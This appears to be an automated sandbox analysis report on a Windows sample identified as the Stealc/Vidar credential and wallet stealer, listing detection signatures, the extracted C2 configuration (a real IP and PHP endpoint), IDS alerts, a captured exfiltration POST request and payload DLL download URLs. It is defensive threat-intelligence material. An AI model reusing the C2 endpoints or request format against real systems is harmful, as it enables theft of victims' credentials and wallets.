Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532478
MD5:	069e71a1a16afa1e104be5fbb7baf6b3
SHA1:	26909e9cb597635db3da1674732cd291a5d7d073
SHA256:	410e717218b214fba670b9ba398cc8e10181086bb3ad0ad5bf1e15165c91849f
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6836 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 069E71A1A16AFA1E104BE5FBB7BAF6B3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1705858455.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6836	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6836	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6836	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.5b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:03.246283+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:03.239807+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:03.474017+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:04.521074+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:03.490946+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:03.005187+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T11:54:05.106782+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:11.147320+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:12.350521+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:13.042116+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:13.622971+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:15.354494+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-13T11:54:15.770031+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 44 34 46 36 38 37 31 37 37 43 39 33 32 37 33 31 37 38 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="hwid"02D4F687177C932731780------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build"doma------KKEHDBAEGIIIEBGCAAFH--

Source: file.exe, 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll(Vqc
Source: file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dllPV9c
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dllU
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1933172412.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll2w7b9
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlldhzc
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllfw
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllkw
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllqw
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1933172412.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php&
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php0u
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8n
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php;h
Source: file.exe, 00000000.00000002.1933172412.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpB
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpe1
Source: file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpre
Source: file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpser
Source: file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpus.wallet
Source: file.exe, 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1953129003.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1944713234.000000001D201000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952690954.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000003.1785900009.000000001D110000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000003.1785900009.000000001D110000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1949768531.00000000292E1000.00000004.00000020.00020000.00000000.sdmp, IEHIIIJDAAAAAAKECBFB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1793916946.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, DBKEHDGD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1871360038.00000000293E1000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFIJKJEGH.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
